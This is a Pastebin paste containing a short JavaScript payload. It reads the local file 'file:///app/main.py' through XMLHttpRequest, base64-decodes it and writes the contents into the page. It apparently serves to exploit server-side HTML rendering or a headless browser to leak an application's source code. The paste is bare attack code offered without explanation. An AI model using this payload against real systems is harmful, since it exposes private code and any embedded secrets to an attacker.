Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function toDataURL(url, callback) {
- var xhr = new XMLHttpRequest();
- xhr.onload = function() {
- var reader = new FileReader();
- reader.onloadend = function() {
- callback(reader.result);
- }
- reader.readAsDataURL(xhr.response);
- };
- xhr.open('GET', url);
- xhr.responseType = 'blob';
- xhr.send();
- }
- toDataURL('file:///app/main.py', function(dataUrl) {
- document.write('RESULT:',atob(dataUrl.split(",")[1]))
- })
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement